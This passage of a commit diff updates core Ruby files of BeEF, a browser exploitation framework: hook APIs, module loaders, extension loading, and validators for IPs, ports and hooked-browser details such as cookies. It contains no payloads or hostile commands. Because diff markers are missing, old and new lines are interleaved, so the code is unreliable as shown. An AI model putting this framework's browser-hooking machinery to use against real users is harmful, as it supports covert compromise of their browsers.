# @param [Array] args an array of arguments
# @note This is a direct API call and does not have to be registered to be used
def self.mount(url, http_handler_class, args = nil)
BeEF::Core::Server.instance.mount(url, http_handler_class, *args)
end
# Unmounts a handler
# @param [String] url URL to be unmounted
# @note This is a direct API call and does not have to be registered to be used
def self.unmount(url)
BeEF::Core::Server.instance.unmount(url)
end
end
end
end
end
end

View File

@@ -1,34 +1,21 @@
#
# Copyright 2012 Wade Alcorn wade@bindshell.net
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - https://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
module BeEF
module API
module Server
module Hook
module API
module Server
module Hook
# @note Defined API Paths
API_PATHS = {
'pre_hook_send' => :pre_hook_send
}.freeze
# @note Defined API Paths
API_PATHS = {
'pre_hook_send' => :pre_hook_send
}
# Fires just before the hook is sent to the hooked browser
# @param [Class] handler the associated handler Class
def pre_hook_send(handler); end
# Fires just before the hook is sent to the hooked browser
# @param [Class] handler the associated handler Class
def pre_hook_send(handler); end
end
end
end
end
end
end

View File

@@ -1,36 +1,24 @@
#
# Copyright 2012 Wade Alcorn wade@bindshell.net
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - https://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
module BeEF
module API
module Command
end
module Module
# @note Defined API Paths
API_PATHS = {
'pre_soft_load' => :pre_soft_load,
'post_soft_load' => :post_soft_load,
'pre_hard_load' => :pre_hard_load,
'post_hard_load' => :post_hard_load,
'get_options' => :get_options,
'get_payload_options' => :get_payload_options,
'override_execute' => :override_execute
}
'pre_soft_load' => :pre_soft_load,
'post_soft_load' => :post_soft_load,
'pre_hard_load' => :pre_hard_load,
'post_hard_load' => :post_hard_load,
'get_options' => :get_options,
'get_payload_options' => :get_payload_options,
'override_execute' => :override_execute
}.freeze
# Fired before a module soft load
# @param [String] mod module key of module about to be soft loaded
@@ -64,8 +52,6 @@ module BeEF
# @return [Hash] a hash of options
# @note the option hash is merged with all other API hook's returned hash. Hooking this API method prevents the default options being returned.
def get_payload_options; end
end
end
end

View File

@@ -1,32 +1,18 @@
#
# Copyright 2012 Wade Alcorn wade@bindshell.net
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - https://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
module BeEF
module API
module Modules
# @note Defined API Paths
API_PATHS = {
'post_soft_load' => :post_soft_load
}
'post_soft_load' => :post_soft_load
}.freeze
# Fires just after all modules are soft loaded
def post_soft_load; end
end
end
end

View File

@@ -1,21 +1,10 @@
#
# Copyright 2012 Wade Alcorn wade@bindshell.net
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - https://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
module BeEF
module Core
end
end
@@ -23,21 +12,27 @@ end
require 'core/main/router/router'
require 'core/main/router/api'
## @note Include http server functions for beef
require 'core/main/server'
require 'core/main/handlers/modules/beefjs'
require 'core/main/handlers/modules/legacybeefjs'
require 'core/main/handlers/modules/multistagebeefjs'
require 'core/main/handlers/modules/command'
require 'core/main/handlers/commands'
require 'core/main/handlers/hookedbrowsers'
require 'core/main/handlers/browserdetails'
# @note Include the network stack
require 'core/main/network_stack/handlers/dynamicreconstruction'
require 'core/main/network_stack/handlers/redirector'
require 'core/main/network_stack/handlers/raw'
require 'core/main/network_stack/assethandler'
require 'core/main/network_stack/api'
# @note Include the distributed engine
require 'core/main/distributed_engine/models/rules'
# @note Include the autorun engine
require 'core/main/autorun_engine/parser'
require 'core/main/autorun_engine/engine'
require 'core/main/autorun_engine/rule_loader'
## @note Include helpers
require 'core/module'
@@ -48,6 +43,14 @@ require 'core/hbmanager'
## @note Include RESTful API
require 'core/main/rest/handlers/hookedbrowsers'
require 'core/main/rest/handlers/browserdetails'
require 'core/main/rest/handlers/modules'
require 'core/main/rest/handlers/categories'
require 'core/main/rest/handlers/logs'
require 'core/main/rest/handlers/admin'
require 'core/main/rest/handlers/server'
require 'core/main/rest/handlers/autorun_engine'
require 'core/main/rest/api'
## @note Include Websocket
require 'core/main/network_stack/websocket/websocket'

View File

@@ -1,38 +1,31 @@
#
# Copyright 2012 Wade Alcorn wade@bindshell.net
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - https://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
module BeEF
module Core
end
module Core
end
end
# @note Includes database models - the order must be consistent otherwise DataMapper goes crazy
require 'core/main/models/user'
require 'core/main/model'
require 'core/main/models/commandmodule'
require 'core/main/models/hookedbrowser'
require 'core/main/models/log'
require 'core/main/models/command'
require 'core/main/models/result'
require 'core/main/models/optioncache'
require 'core/main/models/browserdetails'
require 'core/main/models/rule'
require 'core/main/models/execution'
require 'core/main/models/legacybrowseruseragents'
# @note Include the constants
require 'core/main/constants/browsers'
require 'core/main/constants/commandmodule'
require 'core/main/constants/distributedengine'
require 'core/main/constants/os'
require 'core/main/constants/hardware'
# @note Include core modules for beef
require 'core/main/configuration'
@@ -40,9 +33,8 @@ require 'core/main/command'
require 'core/main/crypto'
require 'core/main/logger'
require 'core/main/migration'
require 'core/main/geoip'
# @note Include the command line parser and the banner printer
require 'core/main/console/commandline'
require 'core/main/console/banners'

View File

@@ -1,55 +1,50 @@
#
# Copyright 2012 Wade Alcorn wade@bindshell.net
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - https://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
module BeEF
module Extension
# Checks to see if extension is set inside the configuration
# @param [String] ext the extension key
# @return [Boolean] whether or not the extension exists in BeEF's configuration
def self.is_present(ext)
return BeEF::Core::Configuration.instance.get('beef.extension').has_key?(ext.to_s)
BeEF::Core::Configuration.instance.get('beef.extension').key? ext.to_s
end
# Checks to see if extension is enabled in configuration
# @param [String] ext the extension key
# @return [Boolean] whether or not the extension is enabled
# @return [Boolean] whether or not the extension is enabled
def self.is_enabled(ext)
return (self.is_present(ext) and BeEF::Core::Configuration.instance.get('beef.extension.'+ext.to_s+'.enable') == true)
return false unless is_present(ext)
BeEF::Core::Configuration.instance.get("beef.extension.#{ext}.enable") == true
end
# Checks to see if extension has been loaded
# @param [String] ext the extension key
# @return [Boolean] whether or not the extension is loaded
# @return [Boolean] whether or not the extension is loaded
def self.is_loaded(ext)
return (self.is_enabled(ext) and BeEF::Core::Configuration.instance.get('beef.extension.'+ext.to_s+'.loaded') == true)
return false unless is_enabled(ext)
BeEF::Core::Configuration.instance.get("beef.extension.#{ext}.loaded") == true
end
# Loads an extension
# Loads an extension
# @param [String] ext the extension key
# @return [Boolean] whether or not the extension loaded successfully
# @todo Wrap the require() statement in a try catch block to allow BeEF to fail gracefully if there is a problem with that extension - Issue #480
def self.load(ext)
if File.exists?('extensions/'+ext+'/extension.rb')
require 'extensions/'+ext+'/extension.rb'
if File.exist? "#{$root_dir}/extensions/#{ext}/extension.rb"
require "#{$root_dir}/extensions/#{ext}/extension.rb"
print_debug "Loaded extension: '#{ext}'"
BeEF::Core::Configuration.instance.set('beef.extension.'+ext+'.loaded', true)
BeEF::Core::Configuration.instance.set "beef.extension.#{ext}.loaded", true
return true
end
print_error "Unable to load extension '#{ext}'"
return false
false
rescue StandardError => e
print_error "Unable to load extension '#{ext}':"
print_more e.message
end
end
end

View File

@@ -1,44 +1,40 @@
#
# Copyright 2012 Wade Alcorn wade@bindshell.net
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - https://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
module BeEF
module Extensions
# Returns configuration of all enabled extensions
# @return [Array] an array of extension configuration hashes that are enabled
def self.get_enabled
return BeEF::Core::Configuration.instance.get('beef.extension').select { |k,v| v['enable'] == true }
BeEF::Core::Configuration.instance.get('beef.extension').select { |_k, v| v['enable'] == true }
rescue StandardError => e
print_error "Failed to get enabled extensions: #{e.message}"
print_error e.backtrace
end
# Returns configuration of all loaded extensions
# @return [Array] an array of extension configuration hashes that are loaded
def self.get_loaded
return BeEF::Core::Configuration.instance.get('beef.extension').select {|k,v| v['loaded'] == true }
BeEF::Core::Configuration.instance.get('beef.extension').select { |_k, v| v['loaded'] == true }
rescue StandardError => e
print_error "Failed to get loaded extensions: #{e.message}"
print_error e.backtrace
end
# Load all enabled extensions
# @note API fire for post_load
def self.load
BeEF::Core::Configuration.instance.load_extensions_config
self.get_enabled.each { |k,v|
BeEF::Extension.load(k)
}
get_enabled.each do |k, _v|
BeEF::Extension.load k
end
# API post extension load
BeEF::API::Registrar.instance.fire(BeEF::API::Extensions, 'post_load')
BeEF::API::Registrar.instance.fire BeEF::API::Extensions, 'post_load'
rescue StandardError => e
print_error "Failed to load extensions: #{e.message}"
print_error e.backtrace
end
end
end

View File

@@ -1,21 +1,10 @@
#
# Copyright 2012 Wade Alcorn wade@bindshell.net
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - https://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
module BeEF
module Filters
end
end

View File

@@ -1,153 +1,214 @@
#
# Copyright 2012 Wade Alcorn wade@bindshell.net
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - https://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
module BeEF
module Filters
# Check if the string is not empty and not nil
# @param [String] str String for testing
# @return [Boolean] Whether the string is not empty
def self.is_non_empty_string?(str)
return false if str.nil?
return false if not str.is_a? String
return false if str.empty?
true
end
module Filters
# Check if the string is not empty and not nil
# @param [String] str String for testing
# @return [Boolean] Whether the string is not empty
def self.is_non_empty_string?(str)
return false if str.nil?
return false unless str.is_a? String
return false if str.empty?
# Check if only the characters in 'chars' are in 'str'
# @param [String] chars List of characters to match
# @param [String] str String for testing
# @return [Boolean] Whether or not the only characters in str are specified in chars
def self.only?(chars, str)
regex = Regexp.new('[^' + chars + ']')
regex.match(str).nil?
end
# Check if one or more characters in 'chars' are in 'str'
# @param [String] chars List of characters to match
# @param [String] str String for testing
# @return [Boolean] Whether one of the characters exists in the string
def self.exists?(chars, str)
regex = Regexp.new(chars)
not regex.match(str).nil?
end
# Check for null char
# @param [String] str String for testing
# @return [Boolean] If the string has a null character
def self.has_null? (str)
return false if not is_non_empty_string?(str)
exists?('\x00', str)
end
true
end
# Check for non-printable char
# @param [String] str String for testing
# @return [Boolean] Whether or not the string has non-printable characters
def self.has_non_printable_char?(str)
return false if not is_non_empty_string?(str)
not only?('[:print:]', str)
end
# Check if only the characters in 'chars' are in 'str'
# @param [String] chars List of characters to match
# @param [String] str String for testing
# @return [Boolean] Whether or not the only characters in str are specified in chars
def self.only?(chars, str)
regex = Regexp.new('[^' + chars + ']')
regex.match(str.encode('UTF-8', invalid: :replace, undef: :replace, replace: '')).nil?
end
# Check if num characters only
# @param [String] str String for testing
# @return [Boolean] If the string only contains numbers
def self.nums_only?(str)
return false if not is_non_empty_string?(str)
only?('0-9', str)
end
# Check if one or more characters in 'chars' are in 'str'
# @param [String] chars List of characters to match
# @param [String] str String for testing
# @return [Boolean] Whether one of the characters exists in the string
def self.exists?(chars, str)
regex = Regexp.new(chars)
!regex.match(str.encode('UTF-8', invalid: :replace, undef: :replace, replace: '')).nil?
end
# Check if valid float
# @param [String] str String for float testing
# @return [Boolean] If the string is a valid float
def self.is_valid_float?(str)
return false if not is_non_empty_string?(str)
return false if not only?('0-9\.', str)
not (str =~ /^[\d]+\.[\d]+$/).nil?
end
# Check for null char
# @param [String] str String for testing
# @return [Boolean] If the string has a null character
def self.has_null?(str)
return false unless is_non_empty_string?(str)
# Check if hex characters only
# @param [String] str String for testing
# @return [Boolean] If the string only contains hex characters
def self.hexs_only?(str)
return false if not is_non_empty_string?(str)
only?('0123456789ABCDEFabcdef', str)
end
exists?('\x00', str)
end
# Check if first character is a number
# @param [String] String for testing
# @return [Boolean] If the first character of the string is a number
def self.first_char_is_num?(str)
return false if not is_non_empty_string?(str)
not (str =~ /^\d.*/).nil?
end
# Check for non-printable char
# @param [String] str String for testing
# @return [Boolean] Whether or not the string has non-printable characters
def self.has_non_printable_char?(str)
return false unless is_non_empty_string?(str)
# Check for space characters: \t\n\r\f
# @param [String] str String for testing
# @return [Boolean] If the string has a whitespace character
def self.has_whitespace_char?(str)
return false if not is_non_empty_string?(str)
exists?('\s', str)
end
!only?('[:print:]', str)
end
# Check for non word characters: a-zA-Z0-9
# @param [String] str String for testing
# @return [Boolean] If the string only has alphanums
def self.alphanums_only?(str)
return false if not is_non_empty_string?(str)
only?("a-zA-Z0-9", str)
end
# Check if valid ip address string
# @param [String] ip String for testing
# @return [Boolean] If the string is a valid IP address
# @note only IPv4 compliant
def self.is_valid_ip?(ip)
return false if not is_non_empty_string?(ip)
return true if ip =~ /^(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})?$/
false
end
# Check if num characters only
# @param [String] str String for testing
# @return [Boolean] If the string only contains numbers
def self.nums_only?(str)
return false unless is_non_empty_string?(str)
# Check for valid browser details characters
# @param [String] str String for testing
# @return [Boolean] If the string has valid browser details characters
# @note This function passes the \302\256 character which translates to the registered symbol (r)
def self.has_valid_browser_details_chars?(str)
return false if not is_non_empty_string?(str)
not (str =~ /[^\w\d\s()-.,;:_\/!\302\256]/).nil?
end
only?('0-9', str)
end
# Check for valid base details characters
# @param [String] str String for testing
# @return [Boolean] If the string has only valid base characters
# @note This is for basic filtering where possible all specific filters must be implemented
# @note This function passes the \302\256 character which translates to the registered symbol (r)
def self.has_valid_base_chars?(str)
return false if not is_non_empty_string?(str)
(str =~ /[^\302\256[:print:]]/).nil?
end
# Check if valid float
# @param [String] str String for float testing
# @return [Boolean] If the string is a valid float
def self.is_valid_float?(str)
return false unless is_non_empty_string?(str)
return false unless only?('0-9\.', str)
# Verify the yes and no is valid
# @param [String] str String for testing
# @return [Boolean] If the string is either 'yes' or 'no'
# @todo Confirm this is case insensitive
def self.is_valid_yes_no?(str)
return false if has_non_printable_char?(str)
return false if str !~ /^(Yes|No)$/
return false if str.length > 200
true
!(str =~ /^\d+\.\d+$/).nil?
end
# Check if hex characters only
# @param [String] str String for testing
# @return [Boolean] If the string only contains hex characters
def self.hexs_only?(str)
return false unless is_non_empty_string?(str)
only?('0123456789ABCDEFabcdef', str)
end
# Check if first character is a number
# @param [String] String for testing
# @return [Boolean] If the first character of the string is a number
def self.first_char_is_num?(str)
return false unless is_non_empty_string?(str)
!(str =~ /^\d.*/).nil?
end
# Check for space characters: \t\n\r\f
# @param [String] str String for testing
# @return [Boolean] If the string has a whitespace character
def self.has_whitespace_char?(str)
return false unless is_non_empty_string?(str)
exists?('\s', str)
end
# Check for non word characters: a-zA-Z0-9
# @param [String] str String for testing
# @return [Boolean] If the string only has alphanums
def self.alphanums_only?(str)
return false unless is_non_empty_string?(str)
only?('a-zA-Z0-9', str)
end
# @overload self.is_valid_ip?(ip, version)
# Checks if the given string is a valid IP address
# @param [String] ip string to be tested
# @param [Symbol] version IP version (either <code>:ipv4</code> or <code>:ipv6</code>)
# @return [Boolean] true if the string is a valid IP address, otherwise false
#
# @overload self.is_valid_ip?(ip)
# Checks if the given string is either a valid IPv4 or IPv6 address
# @param [String] ip string to be tested
# @return [Boolean] true if the string is a valid IPv4 or IPV6 address, otherwise false
def self.is_valid_ip?(ip, version = :both)
return false unless is_non_empty_string?(ip)
if case version.inspect.downcase
when /^:ipv4$/
ip =~ /^((25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9])\.){3,3}
(25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9])$/x
when /^:ipv6$/
ip =~ /^(([0-9a-f]{1,4}:){7,7}[0-9a-f]{1,4}|
([0-9a-f]{1,4}:){1,7}:|
([0-9a-f]{1,4}:){1,6}:[0-9a-f]{1,4}|
([0-9a-f]{1,4}:){1,5}(:[0-9a-f]{1,4}){1,2}|
([0-9a-f]{1,4}:){1,4}(:[0-9a-f]{1,4}){1,3}|
([0-9a-f]{1,4}:){1,3}(:[0-9a-f]{1,4}){1,4}|
([0-9a-f]{1,4}:){1,2}(:[0-9a-f]{1,4}){1,5}|
[0-9a-f]{1,4}:((:[0-9a-f]{1,4}){1,6})|
:((:[0-9a-f]{1,4}){1,7}|:)|
fe80:(:[0-9a-f]{0,4}){0,4}%[0-9a-z]{1,}|
::(ffff(:0{1,4}){0,1}:){0,1}
((25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9]).){3,3}
(25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9])|
([0-9a-f]{1,4}:){1,4}:
((25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9]).){3,3}
(25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9]))$/ix
when /^:both$/
is_valid_ip?(ip, :ipv4) || is_valid_ip?(ip, :ipv6)
end
true
else
false
end
end
# Checks if the given string is a valid private IP address
# @param [String] ip string for testing
# @return [Boolean] true if the string is a valid private IP address, otherwise false
# @note Includes RFC1918 private IPv4, private IPv6, and localhost 127.0.0.0/8, but does not include local-link addresses.
def self.is_valid_private_ip?(ip)
return false unless is_valid_ip?(ip)
ip =~ /\A(^127\.)|(^192\.168\.)|(^10\.)|(^172\.1[6-9]\.)|(^172\.2[0-9]\.)|(^172\.3[0-1]\.)|(^::1$)|(^[fF][cCdD])\z/ ? true : false
end
# Checks if the given string is a valid TCP port
# @param [String] port string for testing
# @return [Boolean] true if the string is a valid TCP port, otherwise false
def self.is_valid_port?(port)
valid = false
valid = true if port.to_i > 0 && port.to_i < 2**16
valid
end
# Checks if string is a valid domain name
# @param [String] domain string for testing
# @return [Boolean] If the string is a valid domain name
# @note Only validates the string format. It does not check for a valid TLD since ICANN's list of TLD's is not static.
def self.is_valid_domain?(domain)
return false unless is_non_empty_string?(domain)
return true if domain =~ /^[0-9a-z-]+(\.[0-9a-z-]+)*(\.[a-z]{2,}).?$/i
false
end
# Check for valid browser details characters
# @param [String] str String for testing
# @return [Boolean] If the string has valid browser details characters
# @note This function passes the \302\256 character which translates to the registered symbol (r)
def self.has_valid_browser_details_chars?(str)
return false unless is_non_empty_string?(str)
(str =~ %r{[^\w\d\s()-.,;:_/!\302\256]}).nil?
end
# Check for valid base details characters
# @param [String] str String for testing
# @return [Boolean] If the string has only valid base characters
# @note This is for basic filtering where possible all specific filters must be implemented
# @note This function passes the \302\256 character which translates to the registered symbol (r)
def self.has_valid_base_chars?(str)
return false unless is_non_empty_string?(str)
(str =~ /[^\302\256[:print:]]/).nil?
end
# Verify the yes and no is valid
# @param [String] str String for testing
# @return [Boolean] If the string is either 'yes' or 'no'
def self.is_valid_yes_no?(str)
return false if has_non_printable_char?(str)
return false if str !~ /\A(Yes|No)\z/i
true
end
end
end
end

View File

@@ -1,124 +1,162 @@
#
# Copyright 2012 Wade Alcorn wade@bindshell.net
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - https://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
module BeEF
module Filters
module Filters
# Check the browser type value - for example, 'FF'
# @param [String] str String for testing
# @return [Boolean] If the string has valid browser name characters
def self.is_valid_browsername?(str) # rubocop:disable Naming/PredicatePrefix
return false unless is_non_empty_string?(str)
return false if str.length > 2
return false unless has_valid_browser_details_chars?(str)
# Check the browser type value - for example, 'FF'
# @param [String] str String for testing
# @return [Boolean] If the string has valid browser name characters
def self.is_valid_browsername?(str)
return false if not is_non_empty_string?(str)
return false if str.length > 2
return false if has_non_printable_char?(str)
true
end
true
end
# Check the browser type value - for example, {"FF5":true,"FF":true} & {"S":true}
# @param [String] str String for testing
# @return [Boolean] If the string has valid browser type characters
def self.is_valid_browsertype?(str)
return false if not is_non_empty_string?(str)
return false if str.length < 10
return false if str.length > 50
return false if has_non_printable_char?(str)
true
end
# Check the Operating System name value - for example, 'Windows XP'
# @param [String] str String for testing
# @return [Boolean] If the string has valid Operating System name characters
def self.is_valid_osname?(str) # rubocop:disable Naming/PredicatePrefix
return false unless is_non_empty_string?(str)
return false unless has_valid_browser_details_chars?(str)
return false if str.length < 2
# Check the Operating System name value - for example, 'Windows XP'
# @param [String] str String for testing
# @return [Boolean] If the string has valid Operating System name characters
def self.is_valid_osname?(str)
return false if not is_non_empty_string?(str)
return false if has_non_printable_char?(str)
return false if str.length < 2
true
end
true
end
# Verify the browser version string is valid
# @param [String] str String for testing
# @return [Boolean] If the string has valid browser version characters
def self.is_valid_browserversion?(str)
return false if not is_non_empty_string?(str)
return false if has_non_printable_char?(str)
return true if str.eql? "UNKNOWN"
return false if not nums_only?(str) and not is_valid_float?(str)
return false if str.length > 10
true
end
# Check the Hardware name value - for example, 'iPhone'
# @param [String] str String for testing
# @return [Boolean] If the string has valid Hardware name characters
def self.is_valid_hwname?(str) # rubocop:disable Naming/PredicatePrefix
return false unless is_non_empty_string?(str)
return false unless has_valid_browser_details_chars?(str)
return false if str.length < 2
# Verify the browser/UA string is valid
# @param [String] str String for testing
# @return [Boolean] If the string has valid browser / ua string characters
def self.is_valid_browserstring?(str)
return false if not is_non_empty_string?(str)
return false if has_non_printable_char?(str)
return false if str.length > 300
true
end
# Verify the cookies are valid
# @param [String] str String for testing
# @return [Boolean] If the string has valid cookie characters
def self.is_valid_cookies?(str)
return false if has_non_printable_char?(str)
return false if str.length > 2000
true
end
true
end
# Verify the screen params are valid
# @param [String] str String for testing
# @return [Boolean] If the string has valid screen param characters
def self.is_valid_screen_params?(str)
return false if has_non_printable_char?(str)
return false if str.length > 200
true
end
# Verify the browser version string is valid
# @param [String] str String for testing
# @return [Boolean] If the string has valid browser version characters
def self.is_valid_browserversion?(str) # rubocop:disable Naming/PredicatePrefix
return false unless is_non_empty_string?(str)
return false if has_non_printable_char?(str)
return true if str.eql? 'UNKNOWN'
return true if str.eql? 'ALL'
return false if !nums_only?(str) && !str.match(/\A(0|[1-9][0-9]{0,3})(\.(0|[1-9][0-9]{0,3})){0,3}\z/)
return false if str.length > 20
# Verify the window size is valid
# @param [String] str String for testing
# @return [Boolean] If the string has valid window size characters
def self.is_valid_window_size?(str)
return false if has_non_printable_char?(str)
return false if str.length > 200
true
end
true
end
# Verify the system platform is valid
# @param [String] str String for testing
# @return [Boolean] If the string has valid system platform characters
def self.is_valid_system_platform?(str)
return false if has_non_printable_char?(str)
return false if str.length > 200
true
end
# Verify the os version string is valid
# @param [String] str String for testing
# @return [Boolean] If the string has valid os version characters
def self.is_valid_osversion?(str) # rubocop:disable Naming/PredicatePrefix
return false unless is_non_empty_string?(str)
return false if has_non_printable_char?(str)
return true if str.eql? 'UNKNOWN'
return true if str.eql? 'ALL'
return false unless BeEF::Filters.only?('a-zA-Z0-9.<=> ', str)
return false if str.length > 20
# Verify the browser_plugins string is valid
# @param [String] str String for testing
# @return [Boolean] If the string has valid browser plugin characters
# @note This string can be empty if there are no browser plugins
# @todo Verify if the ruby version statement is still necessary
def self.is_valid_browser_plugins?(str)
return true if not is_non_empty_string?(str)
return false if str.length > 1000
if RUBY_VERSION >= "1.9" && str.encoding === Encoding.find('UTF-8')
return (str =~ /[^\w\d\s()-.,;_!\302\256]/u).nil?
else
return (str =~ /[^\w\d\s()-.,;_!\302\256]/n).nil?
true
end
# Verify the browser/UA string is valid
# @param [String] str String for testing
# @return [Boolean] If the string has valid browser / ua string characters
def self.is_valid_browserstring?(str) # rubocop:disable Naming/PredicatePrefix
return false unless is_non_empty_string?(str)
return false unless has_valid_browser_details_chars?(str)
return false if str.length > 300
true
end
# Verify the cookies are valid
# @param [String] str String for testing
# @return [Boolean] If the string has valid cookie characters
def self.is_valid_cookies?(str) # rubocop:disable Naming/PredicatePrefix
return false unless is_non_empty_string?(str)
return false if has_non_printable_char?(str)
return false if str.length > 2000
true
end
# Verify the system platform is valid
# @param [String] str String for testing
# @return [Boolean] If the string has valid system platform characters
def self.is_valid_system_platform?(str) # rubocop:disable Naming/PredicatePrefix
return false unless is_non_empty_string?(str)
return false unless has_valid_browser_details_chars?(str)
return false if str.length > 200
true
end
# Verify the date stamp is valid
# @param [String] str String for testing
# @return [Boolean] If the string has valid date stamp characters
def self.is_valid_date_stamp?(str) # rubocop:disable Naming/PredicatePrefix
return false unless is_non_empty_string?(str)
return false if has_non_printable_char?(str)
return false if str.length > 200
true
end
# Verify the CPU type string is valid
# @param [String] str String for testing
# @return [Boolean] If the string has valid CPU type characters
def self.is_valid_cpu?(str) # rubocop:disable Naming/PredicatePrefix
return false unless is_non_empty_string?(str)
return false if has_non_printable_char?(str)
return false if str.length > 200
true
end
# Verify the memory string is valid
# @param [String] str String for testing
# @return [Boolean] If the string has valid memory type characters
def self.is_valid_memory?(str) # rubocop:disable Naming/PredicatePrefix
return false unless is_non_empty_string?(str)
return false if has_non_printable_char?(str)
return false if str.length > 200
true
end
# Verify the GPU type string is valid
# @param [String] str String for testing
# @return [Boolean] If the string has valid GPU type characters
def self.is_valid_gpu?(str) # rubocop:disable Naming/PredicatePrefix
return false unless is_non_empty_string?(str)
return false if has_non_printable_char?(str)
return false if str.length > 200
true
end
# Verify the browser_plugins string is valid
# @param [String] str String for testing
# @return [Boolean] If the string has valid browser plugin characters
# @note This string can be empty if there are no browser plugins
# @todo Verify if the ruby version statement is still necessary
def self.is_valid_browser_plugins?(str) # rubocop:disable Naming/PredicatePrefix
return false unless is_non_empty_string?(str)
return false if str.length > 1000
if str.encoding == Encoding.find('UTF-8') # Style/CaseEquality: Avoid the use of the case equality operator `===`.
(str =~ /[^\w\d\s()-.,';_!\302\256]/u).nil?
else
(str =~ /[^\w\d\s()-.,';_!\302\256]/n).nil?
end
